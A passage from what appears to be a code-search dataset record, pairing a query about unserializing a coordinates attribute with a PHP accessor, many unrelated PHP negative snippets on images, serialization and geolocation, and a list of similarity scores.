\"AdminProducts\"))\n ->microData(\"http://schema.org/Product\", \"positionImage\")\n ->group($groupName)\n ->isReadOnly(self::isSourceCatalogMode())\n ->addOption(\"shop\", MSM::MODE_ALL)\n ->isNotTested()\n ;\n\n //====================================================================//\n // Product Images => Is Cover\n $this->fieldsFactory()->create(SPL_T_BOOL)\n ->identifier(\"cover\")\n ->inList(\"images\")\n ->name(Translate::getAdminTranslation(\"Cover\", \"AdminProducts\"))\n ->microData(\"http://schema.org/Product\", \"isCover\")\n ->group($groupName)\n ->isReadOnly(self::isSourceCatalogMode())\n ->addOption(\"shop\", MSM::MODE_ALL)\n ->isNotTested()\n ;\n\n //====================================================================//\n // Product Images => Is Visible Image\n $this->fieldsFactory()->create(SPL_T_BOOL)\n ->identifier(\"visible\")\n ->inList(\"images\")\n ->name(Translate::getAdminTranslation(\"Visible\", \"AdminProducts\"))\n ->microData(\"http://schema.org/Product\", \"isVisibleImage\")\n ->group($groupName)\n ->isReadOnly(self::isSourceCatalogMode())\n ->addOption(\"shop\", MSM::MODE_ALL)\n ->isNotTested()\n ;\n }", "public function productImage(){\n\t\treturn $this->hasmany('App\\ProductImages','product_id');\n\t}", "private function buildImagesFields()\n {\n $groupName = Translate::getAdminTranslation(\"Images\", \"AdminProducts\");\n\n //====================================================================//\n // PRODUCT IMAGES\n //====================================================================//\n\n //====================================================================//\n // Product Images List\n $this->fieldsFactory()->create(SPL_T_IMG)\n ->Identifier(\"image\")\n ->InList(\"images\")\n ->Name(Translate::getAdminTranslation(\"Images\", \"AdminProducts\"))\n ->Group($groupName)\n ->MicroData(\"http://schema.org/Product\", \"image\");\n\n //====================================================================//\n // Product Images => Position\n $this->fieldsFactory()->create(SPL_T_INT)\n ->Identifier(\"position\")\n ->InList(\"images\")\n ->Name(Translate::getAdminTranslation(\"Position\", \"AdminProducts\"))\n ->MicroData(\"http://schema.org/Product\", \"positionImage\")\n ->Group($groupName)\n ->isNotTested();\n\n //====================================================================//\n // Product Images => Is Cover\n $this->fieldsFactory()->create(SPL_T_BOOL)\n ->Identifier(\"cover\")\n ->InList(\"images\")\n ->Name(Translate::getAdminTranslation(\"Cover\", \"AdminProducts\"))\n ->MicroData(\"http://schema.org/Product\", \"isCover\")\n ->Group($groupName)\n ->isNotTested();\n\n //====================================================================//\n // Product Images => Is Visible Image\n $this->fieldsFactory()->create(SPL_T_BOOL)\n ->Identifier(\"visible\")\n ->InList(\"images\")\n ->Name(Translate::getAdminTranslation(\"Visible\", \"AdminProducts\"))\n ->MicroData(\"http://schema.org/Product\", \"isVisibleImage\")\n ->Group($groupName)\n ->isNotTested();\n }", "public function getImages()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('images');\n }", "public function images()\n {\n return $this->hasMany(\\App\\Images::class);\n }", "public function getSwartlandPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '120'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getImage()\n{\nreturn $this->image;\n}", "public function getImages()\n {\n return $this->hasMany(Images::className(), ['advert_id' => 'id']);\n }", "public function create()\n {\n $prop = Property::all('id','property_name');\n return view('properties.images',compact('prop'));\n }", "public function images()\n {\n return $this->belongsTo('Image');\n }", "public function photos(){\n return $this->morphMany('cms\\Photo', 'imageable');\n }" ]
[ "0.7753699", "0.75020224", "0.69913745", "0.6940031", "0.6886569", "0.6886569", "0.6886569", "0.6886569", "0.6886569", "0.6886569", "0.68759936", "0.6831611", "0.68004197", "0.67716444", "0.6758385", "0.67130274", "0.66632813", "0.6661409", "0.6629661", "0.6628034", "0.6620929", "0.6617679", "0.6617237", "0.6597102", "0.65900266", "0.65900266", "0.6565807", "0.6555849", "0.6555849", "0.6555849", "0.6548308", "0.6514354", "0.65037256", "0.6497012", "0.64615935", "0.64615935", "0.64615935", "0.64589155", "0.6450252", "0.64258736", "0.6410224", "0.63860726", "0.6363516", "0.6356657", "0.63542414", "0.63492167", "0.6339664", "0.6330513", "0.6315259", "0.63012236", "0.62873304", "0.62844414", "0.627989", "0.6279178", "0.6277891", "0.6265792", "0.62655616", "0.6265136", "0.6264942", "0.62563", "0.6255186", "0.62549627", "0.6251945", "0.6230804", "0.6210957", "0.6207896", "0.62030786", "0.61896104", "0.61854684", "0.6142346", "0.61375684", "0.61375684", "0.61375684", "0.6132228", "0.61224777", "0.61148995", "0.6099906", "0.60958064", "0.6076533", "0.6076451", "0.60746866", "0.6070876", "0.6068122", "0.60664123", "0.6065668", "0.60639626", "0.6058274", "0.6055366", "0.6054144", "0.60531896", "0.6045959", "0.6022974", "0.6020695", "0.6016121", "0.60083115", "0.6006328", "0.59992117", "0.5999061", "0.59981394", "0.59930724" ]
0.7259165
2
Always unserialize coordinates attribute on retrieval.
public function getCoordinatesAttribute($coordinates) { return $coordinates != null ? unserialize($coordinates) : null; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function setCoordinatesAttribute($coordinates)\n {\n $this->attributes['coordinates'] = serialize($coordinates);\n }", "public function serialize() {\n return array( \n 'lat' => $this->getLat(),\n 'lon' => $this->getLong()\n );\n }", "public function getInternalValueAttribute()\n {\n $value = $this->data->get($this->localKey);\n if (!$this->is_serialized) {\n return $value;\n }\n \n return (@unserialize($value) ?: []);\n }", "public function getCoordinates(): array\n {\n return $this->coordinates;\n }", "public function getCoordinates()\n {\n return $this->coordinates;\n }", "public function afterSave()\r\n\t{\r\n\t\tif(count($this->serialAttributes)) {\r\n\t\t\tforeach($this->serialAttributes as $attribute) {\r\n\t\t\t\t$_att = $this->owner->$attribute;\r\n\t\t\t\tif(!empty($_att)\r\n\t\t\t\t && is_scalar($_att)) {\r\n\t\t\t\t\t$a = @unserialize($_att);\r\n\t\t\t\t\tif($a !== false) {\r\n\t\t\t\t\t\t$this->owner->$attribute = $a;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$this->owner->$attribute = null;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\t\t\t\r\n\t\t}\r\n\t}", "public function toArray($serialize = true)\n {\n return $this->toSerializedArray(\n $serialize,\n [\n self::LATITUDE => $this->latitude,\n self::LONGITUDE => $this->longitude,\n self::ELEVATION => $this->elevation,\n ]\n );\n }", "public function unserialize($serialized=null){ }", "public function unserialize($serialized)\n {\n list (\n $this->id,\n $this->usuario,\n $this->clave,\n ) = unserialize($serialized);\n }", "abstract protected function unSerializeData();", "public function unserialize($serialized)\n {\n list(\n $this->id,\n $this->active,\n $this->username,\n $this->password,\n $this->places,\n $this->roles,\n $this->sharedPlaces\n ) = \\json_decode($serialized);\n }", "public function unserialize($serialized);", "public function unserialize($serialized);", "public function getAsArray($serializeNestedObjects=false) {\n\n\t\treturn [\"locationLabel\"=>$this->locationLabel, \"address\"=>$this->address, \"loc\"=>array(\"type\"=>\"Point\",\"coordinates\"=>[(float)$this->longitude,(float)$this->latitude]), \"isPrimary\"=>$this->isPrimary];\n\t}", "public function unserialize($serialized)\n {\n // older data which does not include all properties.\n $data = array_merge(unserialize($serialized), array_fill(0, 2, null));\n\n list($this->email, $this->id) = $data;\n }", "public function getCoordinates();", "abstract public function unserialize($serialized);", "public function getCitiesAttribute($value){\n return unserialize($value);\n }", "public function unserialize($serialized)\n{\n list($this->username, $this->password, $this->salt,\n $this->user_roles, $this->id) = \\json_decode(\n $serialized);\n}", "public function toArray()\n {\n return [\n 'latitude' => $this->latitude,\n 'longitude' => $this->longitude,\n ];\n }", "public function unsetLongitude(): void\n {\n $this->longitude = [];\n }", "public function unserialize($serialized)\n{\n list($this->username, $this->password,\n $this->id) = json_decode(\n $serialized);\n}", "public function unserialize($data) {}", "public function jsonSerialize(): mixed\n {\n $position = [$this->getLng(), $this->getLat()];\n if ($this->is3d()) $position[] = $this->getAlt();\n return new \\GeoJson\\Geometry\\Point($position);\n }", "public function jsonSerialize()\n {\n return [\n 'x' => $this->x,\n 'y' => $this->y,\n ];\n }", "function maybe_unserialize($data)\n {\n }", "public function unserialize($serialized)\n {\n list($this->id, $this->username, $this->password,) = unserialize($serialized);\n }", "public function getCoords()\n\t{\n\t\treturn $this->coords;\n\t}", "public function unserialize($serialized)\n {\n $data = unserialize($serialized);\n\n //TODO load references with id ?\n }", "private function updateGeoCoords()\n\t{\n\t\t// $this->attributes contains payload of the session\n\t\t// $this->handler->get_table_row() contains extended Row's field like IP and Platform\n\t\t$row = $this->handler->get_table_row();\n\t\t$current_ip = PlatformDetector::getClientIp();\n\n\t\t// define the flag for new re-detection\n\t\t// if no coordinates is set\n\t\t$should_recheck_coords = !isset($this->attributes['geo_coords']);\n\t\t// or if IP address was changed\n\t\t$should_recheck_coords |= $row && $row['ip_address'] != $current_ip;\n\n\t\tif ($should_recheck_coords) {\n\t\t\t//Log::info('Recheck GEO coords for session');\n\t\t\t// we need to update geo coordinates\n\t\t\t$coords = GeoIPLib::get_lat_lon($current_ip);\n\t\t\t$this->attributes['geo_coords'] = [\n\t\t\t\t'latitude' => $coords[0],\n\t\t\t\t'longitude' => $coords[1],\n\t\t\t];\n\t\t}\n\n\t}", "public function getCoordinates()\n\t{\n\t\tif (!empty($this->_coordinates)) {\n\t\t\treturn $this->_coordinates;\n\t\t} else {\n\t\t\t$errorMsg = 'getCoordinates called before coordinates values have been set';\n\t\t\tthrow new Exception($errorMsg);\n\t\t}\n\t}", "#[\\ReturnTypeWillChange]\n public function __unserialize($data)\n {\n }", "public function getNormalizedData()\n {\n return parent::getNormalizedData();\n }", "public function unserialize($serialized)\n {\n $data=unserialize($serialized);\n $this->id=$data['id'];\n\n }", "public function unserialize($serialized)\n {\n list (\n $this->id,\n $this->email,\n $this->name,\n $this->password,\n // see section on salt below\n // $this->salt\n ) = unserialize($serialized);\n }", "public function unserialize($serialized)\n {\n }", "public function unserialize($serialized)\n {\n $this->data = unserialize($serialized);\n }", "public function unserialize($serialized)\n {\n $data = unserialize($serialized);\n // add a few extra elements in the array to ensure that we have enough keys when unserializing\n // older data which does not include all properties.\n $data = array_merge($data, array_fill(0, 2, null));\n \n list ($this->password, $this->salt, $this->usernameCanonical, $this->username, $this->expired, $this->locked, $this->credentialsExpired, $this->enabled, $this->id) = $data;\n }", "public function hydrate($value)\n {\n $serializer = $this->getSerializer();\n return $serializer->unserialize($value);\n }", "#[\\ReturnTypeWillChange]\n public function unserialize($data)\n {\n }", "function jsonSerialize()\n {\n\n $this->points = array_reverse($this->points);\n\n for ($i=0; $i< count($this->points); $i++) {\n foreach ($this->points[$i] as $key => $value) {\n if ($key == \"LOCATION_ID\")\n continue;\n\n if ($key == 'time')\n $this->points[$i][$key] = strtotime($this->points[$i][$key]) * 1000;\n else\n $this->points[$i][$key] = round($this->points[$i][$key], 2);\n }\n }\n return $this->points;\n/*\n\n $lines = [];\n foreach ($this->points as $point) {\n $i = 0;\n foreach ($point as $key => $value) {\n if ($key == \"LOCATION_ID\")\n continue;\n\n if (!isset($lines[$i])) {\n $lines[$i] = [];\n }\n\n if ($key == 'time')\n $lines[$i][] = strtotime($point['time']) * 1000;\n else\n $lines[$i][] = round($point[$key], 2);\n\n $i++;\n }\n }\n return $lines;*/\n }", "#[ReturnTypeWillChange]\n public function __serialize()\n {\n return $this->toArray();\n }", "public function save_coordinates( $attachment_id, $size, $coordinates ) {\n\t\t$sizes = (array) get_post_meta( $attachment_id, $this->post_meta, true );\n\n\t\t$sizes[ $size ] = $coordinates;\n\n\t\t// save meta for all the related sizes to if were using a ratio map.\n\t\tif ( $this->use_ratio_map ) {\n\t\t\t$related_sizes = $this->get_related_sizes( $size );\n\n\t\t\t// add the same meta value to the related sizes.\n\t\t\tif ( count( $related_sizes ) ) {\n\t\t\t\tforeach ( $related_sizes as $related_size ) {\n\t\t\t\t\t$sizes[ $related_size ] = $coordinates;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tupdate_post_meta( $attachment_id, $this->post_meta, $sizes );\n\t}", "public function setCoordinates($coordinates)\n {\n $this->coordinates = $coordinates;\n }", "public function unserialize($serialized)\r\n {\r\n $str = unserialize($serialized);\r\n\r\n foreach ($str as $member => $value) {\r\n $this->$member = $value;\r\n }\r\n }", "function setCoords($a_coords)\n\t{\n\t\t$this->coords = $a_coords;\n\t}", "private function _getTicketsCoordinates()\n {\n /** @var Ticket[] $tickets */\n $tickets = $this->Tickets->find('all')\n ->select(['latitude', 'longitude'])\n ->where([\n 'latitude IS NOT' => null,\n 'longitude IS NOT' => null\n ])\n ->toArray();\n\n $coordinates = [];\n\n /** @var Ticket $ticket */\n foreach ($tickets as $id => $ticket) {\n $coordinates[] = [\n 'latitude' => $ticket->latitude,\n 'longitude' => $ticket->longitude,\n ];\n }\n\n return $coordinates;\n }", "public function unsetLatitude(): void\n {\n $this->latitude = [];\n }", "public function unserialize($serialized)\n {\n $raw = unserialize($serialized);\n\n $this->setIdentity($raw['identity']);\n $this->setName($raw['name']);\n $this->setEmailAddress($raw['emailAddress']);\n }", "public function unserialize($serialized)\n {\n list($this->username, $this->password, $this->salt,\n $this->roles, $this->id) = \\json_decode(\n $serialized);\n }", "abstract protected function serializeData();", "public function deserialize($param)\n {\n if ($param === null) {\n return;\n }\n if (array_key_exists(\"Pos\",$param) and $param[\"Pos\"] !== null) {\n $this->Pos = $param[\"Pos\"];\n }\n\n if (array_key_exists(\"TimeZone\",$param) and $param[\"TimeZone\"] !== null) {\n $this->TimeZone = $param[\"TimeZone\"];\n }\n }", "public function __wakeup() {\r\n\t\t_doing_it_wrong( __FUNCTION__, esc_html__( 'Unserializing instances of this class is forbidden.', 'wc_name_your_price' ), '3.0.0' );\r\n\t}", "public function getCoord(){\n return $this->coord;\n }", "public function __wakeup()\n\t{\n\t\tforeach( get_object_vars( $this ) as $k => $v )\n\t\t{\n\t\t\t$this->$k = null;\n\t\t}\n\t\t\n\t\tthrow new Exception(\"Cannot unserialize this object\");\n\t}", "public function __clone()\n {\n foreach ($this as $key => $val)\n {\n if (is_object($val) || is_array($val))\n $this->{$key} = unserialize(serialize($val));\n }\n }", "public function unserialize($serialized)\n {\n list($this->username, $this->password, $this->salt,\n $this->id) = \\json_decode(\n $serialized);\n }", "protected function _afterLoad()\n {\n foreach ($this->_items as $item) {\n $this->getResource()->unserializeFields($item);\n }\n return parent::_afterLoad();\n }", "public function toArray()\n {\n return array(\n \"lat\" => $this->lat,\n \"lng\" => $this->lng\n );\n }", "function unserialize ( $data ) {\n return unserialize( $data );\n }", "public function getGeographyData()\n {\n return $this->geography_data;\n }", "public function __wakeup() {\n\t\t\t_doing_it_wrong( __FUNCTION__, __( 'Unserializing is forbidden!', 'be-table-ship' ), '4.0' );\n\t\t}", "public function getSpGeometryArray() {\n if ($this->getSpGeometry()) {\n $json['type'] = $this->getSpGeometry()->getType();\n $json['coordinates'] = $this->getSpGeometry()->toArray();\n\n return $json;\n }\n\n return NULL;\n }", "protected function normalize(): void\n {\n $coordinate = new BaseCoordinate(array(0, $this->value));\n $latitude = (float)$coordinate->getLongitude();\n\n $this->value = $latitude;\n }", "abstract protected function unserializeData(array $data);", "protected function setObjectActualShape()\n\t{\n\t\t//\n\t\t// Check shape.\n\t\t//\n\t\tif( ! $this->offsetExists( kTAG_GEO_SHAPE ) )\n\t\t{\n\t\t\t//\n\t\t\t// Init local storage.\n\t\t\t//\n\t\t\t$coordinates = Array();\n\t\t\t$lat_tag = $this->resolveOffset( ':location:site:latitude' );\n\t\t\t$lon_tag = $this->resolveOffset( ':location:site:longitude' );\n\t\t\t$date_tag = $this->resolveOffset( 'mcpd:COLLDATE' );\n\t\t\n\t\t\t//\n\t\t\t// Resolve collection.\n\t\t\t//\n\t\t\t$collection\n\t\t\t\t= static::ResolveCollection(\n\t\t\t\t\tstatic::ResolveDatabase( $this->mDictionary, TRUE ) );\n\t\t\n\t\t\t//\n\t\t\t// Build query.\n\t\t\t//\n\t\t\t$query\n\t\t\t\t= array( '$and' => array(\n\t\t\t\t\tarray( kTAG_DOMAIN => kDOMAIN_SAMPLE_COLLECTED ),\n\t\t\t\t\tarray( $this->resolveOffset( ':mission:collecting' )\n\t\t\t\t\t\t\t=> $this->offsetGet( kTAG_NID ) ),\n\t\t\t\t\tarray( kTAG_OBJECT_OFFSETS => $lat_tag ),\n\t\t\t\t\tarray( kTAG_OBJECT_OFFSETS => $lon_tag ) ) );\n\t\t\t\n\t\t\t//\n\t\t\t// Set fields list.\n\t\t\t//\n\t\t\t$fields = array( $lat_tag => TRUE,\n\t\t\t\t\t\t\t $lon_tag => TRUE,\n\t\t\t\t\t\t\t $date_tag => TRUE );\n\t\t\n\t\t\t//\n\t\t\t// Load collected samples.\n\t\t\t//\n\t\t\t$rs = $collection->matchAll( $query, kQUERY_ARRAY, $fields );\n\t\t\tif( $rs->count() )\n\t\t\t{\n\t\t\t\t//\n\t\t\t\t// Collect sample data.\n\t\t\t\t//\n\t\t\t\t$idx = 0;\n\t\t\t\t$samples = Array();\n\t\t\t\tforeach( $rs as $record )\n\t\t\t\t{\n\t\t\t\t\t//\n\t\t\t\t\t// Set stamp.\n\t\t\t\t\t//\n\t\t\t\t\t$stamp = ( array_key_exists( $date_tag, $record ) )\n\t\t\t\t\t\t ? ('A'.$record[ $date_tag ])\n\t\t\t\t\t\t : $idx++;\n\t\t\t\t\t\n\t\t\t\t\t//\n\t\t\t\t\t// Set sample.\n\t\t\t\t\t//\n\t\t\t\t\t$samples[ $stamp ]\n\t\t\t\t\t\t= array( round( $record[ $lon_tag ], 6 ),\n\t\t\t\t\t\t\t\t round( $record[ $lat_tag ], 6 ) );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//\n\t\t\t\t// Sort array.\n\t\t\t\t//\n\t\t\t\tksort( $samples );\n\t\t\t\t\n\t\t\t\t//\n\t\t\t\t// Collect coordinates.\n\t\t\t\t//\n\t\t\t\tforeach( $samples as $record )\n\t\t\t\t{\n\t\t\t\t\t//\n\t\t\t\t\t// Check coordinates.\n\t\t\t\t\t//\n\t\t\t\t\tif( ($record[ 1 ] !== NULL )\n\t\t\t\t\t && ($record[ 0 ] !== NULL ) )\n\t\t\t\t\t\t$coordinates[ implode( ';', array( $record[ 0 ], $record[ 1 ] ) ) ]\n\t\t\t\t\t\t\t= array( $record[ 0 ], $record[ 1 ] );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//\n\t\t\t\t// Normalise coordinates.\n\t\t\t\t//\n\t\t\t\t$coordinates = array_values( $coordinates );\n\t\t\t\n\t\t\t\t//\n\t\t\t\t// Copy sample shape.\n\t\t\t\t//\n\t\t\t\tif( count( $coordinates ) == 1 )\n\t\t\t\t\t$this->offsetSet(\n\t\t\t\t\t\tkTAG_GEO_SHAPE,\n\t\t\t\t\t\tarray( kTAG_TYPE => 'Point',\n\t\t\t\t\t\t\t kTAG_GEOMETRY => $coordinates[ 0 ] ) );\n\t\t\t\n\t\t\t\t//\n\t\t\t\t// Set multipoint.\n\t\t\t\t//\n\t\t\t\telseif( count( $coordinates ) == 2 )\n\t\t\t\t\t$this->offsetSet(\n\t\t\t\t\t\tkTAG_GEO_SHAPE,\n\t\t\t\t\t\tarray( kTAG_TYPE => 'MultiPoint',\n\t\t\t\t\t\t\t kTAG_GEOMETRY => $coordinates ) );\n\t\t\t\n\t\t\t\t//\n\t\t\t\t// Set line string.\n\t\t\t\t//\n\t\t\t\telseif( count( $coordinates ) > 2 )\n\t\t\t\t\t$this->offsetSet(\n\t\t\t\t\t\tkTAG_GEO_SHAPE,\n\t\t\t\t\t\tarray( kTAG_TYPE => 'LineString',\n\t\t\t\t\t\t\t kTAG_GEOMETRY => $coordinates ) );\n\t\t\t\t\n\t\t\t\t//\n\t\t\t\t// No points.\n\t\t\t\t//\n\t\t\t\telse\n\t\t\t\t\treturn FALSE;\t\t\t\t\t\t\t\t\t\t\t\t\t// ==>\n\t\t\t\t\t\n\t\t\t\treturn TRUE;\t\t\t\t\t\t\t\t\t\t\t\t\t\t// ==>\n\t\t\n\t\t\t} // Has collecting missions.\n\t\t\t\n\t\t\treturn FALSE;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// ==>\n\t\t\n\t\t} // Shape not yet set.\n\t\t\n\t\treturn TRUE;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// ==>\n\t\n\t}", "function _updateCoords()\n {\n if (is_array($this->_elements)) {\n $keys = array_keys($this->_elements);\n foreach ($keys as $key) {\n if (is_object($this->_elements[$key])) {\n $this->_elements[$key]->_updateCoords();\n }\n }\n unset($keys);\n }\n return true;\n }", "function unserialize($data){\r\n\t\t$data = unserialize($data);\r\n\t\t$this -> firstName = $data['first'];\r\n\t\t$this -> lastName = $data['last'];\r\n\t}", "public function setCoordinates(Coordinates $coordinates)\n {\n $this->coordinates = $coordinates;\n }", "public function deserialize($param)\n {\n if ($param === null) {\n return;\n }\n if (array_key_exists(\"TextPosition\",$param) and $param[\"TextPosition\"] !== null) {\n $this->TextPosition = new Coordinate();\n $this->TextPosition->deserialize($param[\"TextPosition\"]);\n }\n\n if (array_key_exists(\"EvilType\",$param) and $param[\"EvilType\"] !== null) {\n $this->EvilType = $param[\"EvilType\"];\n }\n\n if (array_key_exists(\"TextContent\",$param) and $param[\"TextContent\"] !== null) {\n $this->TextContent = $param[\"TextContent\"];\n }\n\n if (array_key_exists(\"Rate\",$param) and $param[\"Rate\"] !== null) {\n $this->Rate = $param[\"Rate\"];\n }\n\n if (array_key_exists(\"EvilLabel\",$param) and $param[\"EvilLabel\"] !== null) {\n $this->EvilLabel = $param[\"EvilLabel\"];\n }\n\n if (array_key_exists(\"Keywords\",$param) and $param[\"Keywords\"] !== null) {\n $this->Keywords = $param[\"Keywords\"];\n }\n }", "public function getSerializableData()\n {\n return [\n 'id' => $this->getId(),\n 'name' => $this->getName(),\n 'description' => $this->getDescription(),\n 'profile' => $this->getProfile(),\n 'salt' => $this->getSalt(),\n 'type' => $this->getType(),\n 'value' => $this->getValue(),\n ];\n }", "protected function getPersistableDataArray() {}", "protected function getPersistableDataArray() {}", "protected function getPersistableDataArray() {}", "protected function getPersistableDataArray() {}", "public function toArray()\n {\n return [\n 'x' => $this->x(),\n 'y' => $this->y(),\n 'z' => $this->z\n ];\n }", "abstract public function coordinates();", "public function set_chain_store_coordinates() \n {\n // get all chain stores\n $chain_stores = $this->admin_model->get_all(CHAIN_STORE_TABLE);\n \n foreach ($chain_stores as $store) \n {\n if($store->longitude == 0 && $store->latitude == 0)\n {\n $data = array(\"longitude\" => 0, \"latitude\" => 0, \"id\" => $store->id);\n $coordinates = $this->geo->get_coordinates($store->city, $store->address, $store->state, $store->country);\n if($coordinates)\n {\n $data[\"longitude\"] = $coordinates[\"long\"];\n $data[\"latitude\"] = $coordinates[\"lat\"];\n }\n\n $this->admin_model->create(CHAIN_STORE_TABLE, $data);\n }\n \n }\n }", "protected function getSerializedData()\n {\n $data = $this->getAttributes();\n\n if (count($this->with) > 0) {\n foreach ($this->with as $relation) {\n $attach = [];\n foreach ($this->{$relation} as $item) {\n $attach[] = $item->getAttributes();\n }\n $data[$relation] = $attach;\n }\n }\n\n return serialize($data);\n }", "function getSerializedData()\n {\n if ($this->_serializedData == null) {\n return $this->raiseError('No serialized data available. '\n . 'Use XML_Serializer::serialize() first.',\n XML_SERIALIZER_ERROR_NO_SERIALIZATION);\n }\n return $this->_serializedData;\n }", "public function getCoordinate()\n {\n return $this->coordinate;\n }", "public function __clone()\n\t{\n\t\tforeach ($this as $k => $v)\n\t\t{\n\t\t\tif ((is_object($v)) || is_array($v)) {\n\t\t\t\t$this->{$k} = unserialize(serialize($v));\n\t\t\t}\n\t\t}\n\t}", "public function __clone()\n\t{\n\t\tforeach ($this as $k => $v)\n\t\t{\n\t\t\tif ((is_object($v)) || is_array($v)) {\n\t\t\t\t$this->{$k} = unserialize(serialize($v));\n\t\t\t}\n\t\t}\n\t}", "private function readXY()\n {\n return [\n 'x' => $this->readDoubleL(Shapefile::FILE_SHP),\n 'y' => $this->readDoubleL(Shapefile::FILE_SHP),\n ];\n }", "public function unserialize($serialized) \n {\n return list(\n $this->boardingCardId,\n $this->arrival, \n $this->departure, \n $this->passenger,\n $this->reference,\n $this->busNo,\n $this->platformNo,\n ) = unserialize($serialized);\n }", "function unserialize($value)\n {\n return C_NextGen_Serializable::unserialize($value);\n }", "public function unserialize($serialized)\n {\n $data = unserialize($serialized);\n\n foreach ($data as $key => $value) {\n $this->{$key} = $value;\n }\n\n \\XTAIN\\Bundle\\JoomlaBundle\\Library\\Loader::injectStaticDependencies(__CLASS__);\n\n $this->connection = self::$entityManager->getConnection();\n $this->platform = $this->connection->getDatabasePlatform();\n $this->driver = $this->connection->getDriver();\n }", "public function __serialize() { \n $serialized = [\n 'instance_name' => $this->instance_name,\n 'local_columns' => array_map(fn($column) => $this->serializeColumn($column), $this->getLocalColumns()),\n 'referenced_columns' => array_map(fn($column) => $this->serializeColumn($column), $this->getReferencedColumns()),\n 'is_reversed_relation' => $this->is_reverse_relation,\n 'target_relation' => $this->getTargetRelation(),\n 'type' => $this->type,\n ];\n\n return $serialized;\n\n }", "protected function _defaultData($content)\n {\n $content = @unserialize($content);\n if (empty($content) || !is_a($content, \\stdClass::class)) {\n $content = new \\stdClass;\n }\n $content->long = empty($content->long) ? '' : $content->long;\n $content->lat = empty($content->lat) ? '' : $content->lat;\n return $content;\n }", "public function jsonSerialize(){\n if( ! $this->isPersisted() ){\n $properties = (object) get_object_vars($this);\n unset($properties->id);\n return $properties;\n }\n $properties = (object) get_object_vars($this);\n $properties->startUTC = $properties->startUTC->format('c');\n $properties->endUTC = $properties->endUTC->format('c');\n $properties->repeatEndUTC = !is_null($properties->repeatEndUTC) 